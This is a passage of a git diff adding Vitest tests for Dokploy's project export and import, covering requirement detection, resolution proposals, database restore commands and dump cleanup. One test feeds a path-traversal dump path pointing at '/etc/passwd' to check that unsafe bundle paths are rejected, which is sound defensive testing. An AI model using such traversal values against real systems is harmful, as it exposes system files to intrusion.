env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
|
||||
};
|
||||
const db = fakeDb({
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const vaultReqs = requirements.filter((r) => r.kind === "vault");
|
||||
expect(vaultReqs).toHaveLength(1);
|
||||
expect(vaultReqs[0]).toMatchObject({
|
||||
kind: "vault",
|
||||
originalId: "vault-1",
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
});
|
||||
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
|
||||
});
|
||||
|
||||
it("merges registry + buildRegistry into one requirement with both roles", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
registryId: "registry-1",
|
||||
buildRegistryId: "registry-1",
|
||||
};
|
||||
const db = fakeDb({
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "registry-1",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const registryReqs = requirements.filter((r) => r.kind === "registry");
|
||||
expect(registryReqs).toHaveLength(1);
|
||||
expect((registryReqs[0] as any).role.sort()).toEqual([
|
||||
"buildRegistry",
|
||||
"registry",
|
||||
]);
|
||||
});
|
||||
|
||||
it("emits a single server requirement with originalId null for services with no serverId", async () => {
|
||||
const application = { ...baseApplication, serverId: null };
|
||||
const requirements = await detectRequirements(
|
||||
fakeDb(),
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const serverReqs = requirements.filter((r) => r.kind === "server");
|
||||
expect(serverReqs).toHaveLength(1);
|
||||
expect(serverReqs[0]?.originalId).toBeNull();
|
||||
expect(serverReqs[0]?.usedBy).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("detects a gitProvider requirement with owner/repo", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
githubId: "gh-1",
|
||||
owner: "acme",
|
||||
repository: "app",
|
||||
};
|
||||
const requirements = await detectRequirements(
|
||||
fakeDb(),
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
|
||||
expect(gitReqs).toHaveLength(1);
|
||||
expect(gitReqs[0]).toMatchObject({
|
||||
providerType: "github",
|
||||
originalId: "gh-1",
|
||||
});
|
||||
expect((gitReqs[0] as any).repositories).toEqual([
|
||||
{ owner: "acme", repo: "app" },
|
||||
]);
|
||||
});
|
||||
|
||||
it("detects a destination requirement from a backup FK", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
volumeBackups: [{ destinationId: "dest-1" }],
|
||||
};
|
||||
const db = fakeDb({
|
||||
destinations: {
|
||||
findMany: async () => [
|
||||
{
|
||||
destinationId: "dest-1",
|
||||
bucket: "my-bucket",
|
||||
endpoint: "s3.example.com",
|
||||
region: "us-east-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const destReqs = requirements.filter((r) => r.kind === "destination");
|
||||
expect(destReqs).toHaveLength(1);
|
||||
expect(destReqs[0]).toMatchObject({
|
||||
originalId: "dest-1",
|
||||
bucket: "my-bucket",
|
||||
endpoint: "s3.example.com",
|
||||
region: "us-east-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves network names for referenced networkIds", async () => {
|
||||
const application = { ...baseApplication, networkIds: ["net-1"] };
|
||||
const db = fakeDb({
|
||||
network: {
|
||||
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const networkReqs = requirements.filter((r) => r.kind === "network");
|
||||
expect(networkReqs).toHaveLength(1);
|
||||
expect(networkReqs[0]).toMatchObject({
|
||||
originalId: "net-1",
|
||||
name: "shared-net",
|
||||
});
|
||||
});
|
||||
|
||||
it("detects a certificate requirement via customCertResolver, not a direct FK", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
domains: [
|
||||
{
|
||||
domainId: "dom-1",
|
||||
certificateType: "custom",
|
||||
customCertResolver: "cert-path-abc",
|
||||
},
|
||||
],
|
||||
};
|
||||
const db = fakeDb({
|
||||
certificates: {
|
||||
findMany: async () => [
|
||||
{
|
||||
certificateId: "cert-1",
|
||||
certificatePath: "cert-path-abc",
|
||||
certificateData:
|
||||
"-----BEGIN CERTIFICATE-----\nabc\n-----END CERTIFICATE-----",
|
||||
serverId: "server-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
});
|
||||
|
||||
const requirements = await detectRequirements(
|
||||
db,
|
||||
buildTree(application) as any,
|
||||
baseScope,
|
||||
);
|
||||
|
||||
const certReqs = requirements.filter((r) => r.kind === "certificate");
|
||||
expect(certReqs).toHaveLength(1);
|
||||
expect(certReqs[0]?.originalId).toBe("cert-1");
|
||||
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
|
||||
expect((certReqs[0] as any).serverId).toBe("server-1");
|
||||
});
|
||||
|
||||
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
|
||||
const application1 = {
|
||||
...baseApplication,
|
||||
applicationId: "app-1",
|
||||
serverId: "server-1",
|
||||
};
|
||||
const application2 = {
|
||||
...baseApplication,
|
||||
applicationId: "app-2",
|
||||
serverId: "server-1",
|
||||
};
|
||||
const tree = buildTree(application1) as any;
|
||||
tree.environments[0].applications.push(application2);
|
||||
|
||||
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
|
||||
const serverReqs = requirements.filter((r) => r.kind === "server");
|
||||
expect(serverReqs).toHaveLength(1);
|
||||
expect(serverReqs[0]?.usedBy).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("only scans services actually within scope.serviceIds", async () => {
|
||||
const included = {
|
||||
...baseApplication,
|
||||
applicationId: "app-included",
|
||||
githubId: "gh-1",
|
||||
owner: "acme",
|
||||
repository: "included-repo",
|
||||
};
|
||||
const excluded = {
|
||||
...baseApplication,
|
||||
applicationId: "app-excluded",
|
||||
githubId: "gh-1",
|
||||
owner: "acme",
|
||||
repository: "excluded-repo",
|
||||
};
|
||||
const tree = buildTree(included) as any;
|
||||
tree.environments[0].applications.push(excluded);
|
||||
|
||||
const requirements = await detectRequirements(fakeDb(), tree, {
|
||||
...baseScope,
|
||||
serviceIds: ["app-included"],
|
||||
});
|
||||
|
||||
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
|
||||
expect(gitReqs).toHaveLength(1);
|
||||
expect((gitReqs[0] as any).repositories).toEqual([
|
||||
{ owner: "acme", repo: "included-repo" },
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,285 @@
|
||||
import { createHash } from "node:crypto";
|
||||
import type {
|
||||
Requirement,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
LOCAL_SERVER_CANDIDATE_ID,
|
||||
proposeResolutions,
|
||||
requirementKey,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const CERT_FINGERPRINT = createHash("sha256")
|
||||
.update("cert-data-1")
|
||||
.digest("hex");
|
||||
|
||||
const vaultRequirement: Requirement = {
|
||||
kind: "vault",
|
||||
originalId: "vault-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: [],
|
||||
};
|
||||
const gitProviderRequirement: Requirement = {
|
||||
kind: "gitProvider",
|
||||
originalId: "gh-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
providerType: "github",
|
||||
repositories: [],
|
||||
};
|
||||
const destinationRequirement: Requirement = {
|
||||
kind: "destination",
|
||||
originalId: "dest-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
bucket: "my-bucket",
|
||||
endpoint: "https://s3.example.com",
|
||||
region: "us-east-1",
|
||||
};
|
||||
const registryRequirement: Requirement = {
|
||||
kind: "registry",
|
||||
originalId: "reg-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
role: ["registry"],
|
||||
};
|
||||
const sshKeyRequirement: Requirement = {
|
||||
kind: "sshKey",
|
||||
originalId: "key-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
publicKey: "ssh-ed25519 AAAAtest",
|
||||
};
|
||||
const networkRequirement: Requirement = {
|
||||
kind: "network",
|
||||
originalId: "net-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
name: "my-network",
|
||||
};
|
||||
const certificateRequirement: Requirement = {
|
||||
kind: "certificate",
|
||||
originalId: "cert-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
fingerprint: CERT_FINGERPRINT,
|
||||
serverId: null,
|
||||
};
|
||||
const serverRequirement: Requirement = {
|
||||
kind: "server",
|
||||
originalId: "server-src",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
};
|
||||
|
||||
const requirements: Requirement[] = [
|
||||
vaultRequirement,
|
||||
gitProviderRequirement,
|
||||
destinationRequirement,
|
||||
registryRequirement,
|
||||
sshKeyRequirement,
|
||||
networkRequirement,
|
||||
certificateRequirement,
|
||||
serverRequirement,
|
||||
];
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: { project: {}, environments: [], services: [], shared: {} },
|
||||
requirements,
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
vaultProviderId: "vault-dest-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
gitProvider: {
|
||||
findMany: async () => [
|
||||
{
|
||||
gitProviderId: "gh-dest-1",
|
||||
name: "Acme GitHub",
|
||||
providerType: "github",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
destinations: { findMany: async () => [] },
|
||||
registry: {
|
||||
findMany: async () => [
|
||||
{
|
||||
registryId: "reg-dest-1",
|
||||
registryName: "Acme Registry",
|
||||
registryUrl: "https://other.example.com",
|
||||
imagePrefix: "other",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
sshKeys: {
|
||||
findMany: async () => [
|
||||
{
|
||||
sshKeyId: "key-dest-1",
|
||||
name: "deploy key",
|
||||
publicKey: "ssh-ed25519 AAAAtest",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
network: {
|
||||
findMany: async () => [
|
||||
{
|
||||
networkId: "net-dest-1",
|
||||
name: "other-network",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
certificates: { findMany: async () => [] },
|
||||
server: {
|
||||
findMany: async () => [
|
||||
{
|
||||
serverId: "server-dest-1",
|
||||
name: "prod-server",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
describe("proposeResolutions", () => {
|
||||
it("resolves vault by name + providerType match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(vaultRequirement)]).toEqual({
|
||||
status: "resolved",
|
||||
targetId: "vault-dest-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
|
||||
status: "mappable",
|
||||
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes createable for destination when configIncluded and no match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(destinationRequirement)]).toEqual({
|
||||
status: "createable",
|
||||
candidates: [],
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(registryRequirement)]).toEqual({
|
||||
status: "createable",
|
||||
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves sshKey by exact publicKey match", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
|
||||
status: "resolved",
|
||||
targetId: "key-dest-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(networkRequirement)]).toEqual({
|
||||
status: "mappable",
|
||||
candidates: [{ id: "net-dest-1", name: "other-network" }],
|
||||
});
|
||||
});
|
||||
|
||||
it("resolves certificate by recomputed fingerprint match", async () => {
|
||||
const withMatchingCert: TransferDb = {
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
certificates: {
|
||||
findMany: async () => [
|
||||
{
|
||||
certificateId: "cert-dest-1",
|
||||
name: "prod cert",
|
||||
certificateData: "cert-data-1",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
} as any;
|
||||
const result = await proposeResolutions(
|
||||
withMatchingCert,
|
||||
snapshot,
|
||||
"org-dest",
|
||||
);
|
||||
expect(result[requirementKey(certificateRequirement)]).toEqual({
|
||||
status: "resolved",
|
||||
targetId: "cert-dest-1",
|
||||
});
|
||||
});
|
||||
|
||||
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(certificateRequirement)]).toEqual({
|
||||
status: "missing",
|
||||
});
|
||||
});
|
||||
|
||||
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
|
||||
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
|
||||
expect(result[requirementKey(serverRequirement)]).toEqual({
|
||||
status: "mappable",
|
||||
candidates: [
|
||||
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
|
||||
{ id: "server-dest-1", name: "prod-server" },
|
||||
],
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,368 @@
|
||||
import type {
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
TransferResult,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { failRestoreBox } = vi.hoisted(() => ({
|
||||
failRestoreBox: { value: false },
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
execAsync: vi.fn(async (command: string) => {
|
||||
if (command.includes("pg_restore") && failRestoreBox.value) {
|
||||
throw new Error("restore failed");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
}),
|
||||
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
|
||||
};
|
||||
});
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import/remote-fs",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import/remote-fs")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
copyFile: vi.fn(async () => {}),
|
||||
remove: vi.fn(async () => {}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const {
|
||||
restoreDumps,
|
||||
buildRestoreCommand,
|
||||
buildWaitReadyScript,
|
||||
buildReadyProbe,
|
||||
waitUntilReady,
|
||||
} = await import("@dokploy/server/services/project-export-import");
|
||||
const { remove, copyFile } = await import(
|
||||
"@dokploy/server/services/project-export-import/remote-fs"
|
||||
);
|
||||
|
||||
describe("buildRestoreCommand", () => {
|
||||
it("pipes decompressed bytes into the restore command for postgres", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"postgres",
|
||||
{
|
||||
appName: "my-db-abc123",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "dokploy",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-pg-1.sql.gz",
|
||||
);
|
||||
expect(command).toContain(
|
||||
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
|
||||
);
|
||||
expect(command).toContain("pg_restore");
|
||||
expect(command).toContain("my-db-abc123");
|
||||
});
|
||||
|
||||
it("uses the mysql root password, not databasePassword, for the restore command", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"mysql",
|
||||
{
|
||||
appName: "my-mysql-abc123",
|
||||
databaseName: "mydb",
|
||||
databasePassword: "not-the-root-password",
|
||||
databaseRootPassword: "the-real-root-password",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
|
||||
);
|
||||
expect(command).toContain("the-real-root-password");
|
||||
expect(command).not.toContain("not-the-root-password");
|
||||
});
|
||||
|
||||
it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"mariadb",
|
||||
{
|
||||
appName: "my-mariadb-abc123",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "dokploy",
|
||||
databasePassword: "pass",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-mariadb-1.sql.gz",
|
||||
);
|
||||
expect(command).toContain("grep -viE");
|
||||
});
|
||||
|
||||
it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"mongo",
|
||||
{
|
||||
appName: "my-mongo-abc123",
|
||||
databaseUser: "dokploy",
|
||||
databasePassword: "pass",
|
||||
},
|
||||
"/tmp/dokploy-import-restore-mongo-1.archive.gz",
|
||||
);
|
||||
expect(command).toContain(
|
||||
'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop',
|
||||
);
|
||||
expect(command).toContain(
|
||||
"< '/tmp/dokploy-import-restore-mongo-1.archive.gz'",
|
||||
);
|
||||
expect(command).not.toContain("--db");
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildRestoreCommand for libsql", () => {
|
||||
it("replaces sqld's data directory from the tarball and restarts the service", () => {
|
||||
const command = buildRestoreCommand(
|
||||
"libsql",
|
||||
{ appName: "my-libsql-abc123" },
|
||||
"/tmp/dokploy-import-restore-l.tar.gz",
|
||||
);
|
||||
expect(command).toContain(
|
||||
"rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld",
|
||||
);
|
||||
expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'");
|
||||
expect(command).toContain(
|
||||
"docker service update --force 'my-libsql-abc123'",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildReadyProbe", () => {
|
||||
it("runs a credentialed query rather than a liveness ping", () => {
|
||||
expect(
|
||||
buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }),
|
||||
).toBe('psql -U u -d d -tAc "SELECT 1"');
|
||||
expect(
|
||||
buildReadyProbe("mysql", { databaseRootPassword: "r00t" }),
|
||||
).toContain("mysql -uroot --password=r00t");
|
||||
expect(
|
||||
buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }),
|
||||
).toContain("mariadb -uu --password=p");
|
||||
expect(
|
||||
buildReadyProbe("mongo", {
|
||||
databaseUser: "u",
|
||||
databasePassword: "p",
|
||||
databaseName: "d",
|
||||
}),
|
||||
).toContain(
|
||||
'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ',
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("waitUntilReady", () => {
|
||||
it("needs consecutive successes so a first-init throwaway server doesn't count", async () => {
|
||||
const { execAsync } = await import(
|
||||
"@dokploy/server/utils/process/execAsync"
|
||||
);
|
||||
const previous = (execAsync as any).getMockImplementation();
|
||||
const outcomes = [true, true, false, true, true, true];
|
||||
let calls = 0;
|
||||
(execAsync as any).mockImplementation(async (command: string) => {
|
||||
if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" };
|
||||
const ok = outcomes[calls++] ?? true;
|
||||
if (!ok) throw new Error("the database system is shutting down");
|
||||
return { stdout: "1", stderr: "" };
|
||||
});
|
||||
try {
|
||||
await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', {
|
||||
intervalMs: 0,
|
||||
stableSuccesses: 3,
|
||||
});
|
||||
} finally {
|
||||
(execAsync as any).mockImplementation(previous);
|
||||
}
|
||||
expect(calls).toBe(6);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildWaitReadyScript", () => {
|
||||
it("guards against an empty CONTAINER_ID before exec'ing the probe", () => {
|
||||
const script = buildWaitReadyScript("my-db-abc123", "pg_isready");
|
||||
expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi');
|
||||
expect(script).toContain("docker exec");
|
||||
expect(script).toContain("pg_isready");
|
||||
});
|
||||
});
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "dumps/pg-1.sql.gz",
|
||||
bytes: 100,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const dbFor = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
postgres: {
|
||||
findFirst: async () => ({
|
||||
postgresId: "pg-new-1",
|
||||
appName: "my-db-new-1",
|
||||
databaseName: "mydb",
|
||||
databaseUser: "dokploy",
|
||||
databasePassword: "p",
|
||||
serverId: null,
|
||||
}),
|
||||
},
|
||||
destinations: { findFirst: async () => undefined },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const resultFor = (): TransferResult =>
|
||||
({
|
||||
idMap: { postgres: { "pg-1": "pg-new-1" } },
|
||||
}) as any as TransferResult;
|
||||
|
||||
describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => {
|
||||
it("neither copies nor removes anything and restores from the workspace path", async () => {
|
||||
failRestoreBox.value = false;
|
||||
vi.mocked(remove).mockClear();
|
||||
vi.mocked(copyFile).mockClear();
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
snapshot,
|
||||
resultFor(),
|
||||
{ serverId: null, path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(copyFile).not.toHaveBeenCalled();
|
||||
expect(remove).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => {
|
||||
it("removes the remote dump path after a successful restore", async () => {
|
||||
failRestoreBox.value = false;
|
||||
vi.mocked(remove).mockClear();
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
snapshot,
|
||||
resultFor(),
|
||||
{ serverId: "workspace-server", path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(errors).toHaveLength(0);
|
||||
expect(remove).toHaveBeenCalledWith({
|
||||
serverId: null,
|
||||
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
|
||||
});
|
||||
});
|
||||
|
||||
it("still removes the remote dump path when the restore command itself fails", async () => {
|
||||
failRestoreBox.value = true;
|
||||
vi.mocked(remove).mockClear();
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
snapshot,
|
||||
resultFor(),
|
||||
{ serverId: "workspace-server", path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(errors).toHaveLength(1);
|
||||
expect(remove).toHaveBeenCalledWith({
|
||||
serverId: null,
|
||||
path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz",
|
||||
});
|
||||
|
||||
failRestoreBox.value = false;
|
||||
});
|
||||
});
|
||||
|
||||
describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => {
|
||||
it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => {
|
||||
vi.mocked(copyFile).mockClear();
|
||||
const maliciousSnapshot: Snapshot = {
|
||||
...snapshot,
|
||||
dumps: [
|
||||
{
|
||||
serviceId: "pg-1",
|
||||
serviceType: "postgres",
|
||||
mode: "embed",
|
||||
ext: "sql.gz",
|
||||
path: "../../../../etc/passwd",
|
||||
bytes: 100,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const errors = await restoreDumps(
|
||||
dbFor(),
|
||||
maliciousSnapshot,
|
||||
resultFor(),
|
||||
{ serverId: "workspace-server", path: "/tmp/work" },
|
||||
{
|
||||
readiness: { intervalMs: 0, stableSuccesses: 1 },
|
||||
deploy: { postgres: async () => {} },
|
||||
},
|
||||
);
|
||||
|
||||
expect(copyFile).not.toHaveBeenCalled();
|
||||
expect(errors).toHaveLength(1);
|
||||
expect(errors[0]?.error).toContain("Unsafe path in bundle");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,548 @@
|
||||
import {
|
||||
applications,
|
||||
mounts,
|
||||
postgres,
|
||||
projects,
|
||||
} from "@dokploy/server/db/schema";
|
||||
import type {
|
||||
ExportScope,
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
apply,
|
||||
buildPlan,
|
||||
buildRotationPlan,
|
||||
capture,
|
||||
detectRequirements,
|
||||
detectWarnings,
|
||||
rotateText,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("rotateText", () => {
|
||||
it("replaces both the literal and URL-encoded form of the old password", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres" as const,
|
||||
field: "databasePassword" as const,
|
||||
oldPassword: "p@ss",
|
||||
newPassword: "n3wpass",
|
||||
},
|
||||
];
|
||||
const { text, matched } = rotateText(
|
||||
"DATABASE_URL=postgres://user:p%40ss@host/db",
|
||||
specs,
|
||||
);
|
||||
expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db");
|
||||
expect(matched).toHaveLength(1);
|
||||
expect(matched[0]?.count).toBe(1);
|
||||
});
|
||||
|
||||
it("counts multiple literal occurrences across the text", () => {
|
||||
const specs = [
|
||||
{
|
||||
serviceId: "pg-new-1",
|
||||
serviceType: "postgres" as const,
|
||||
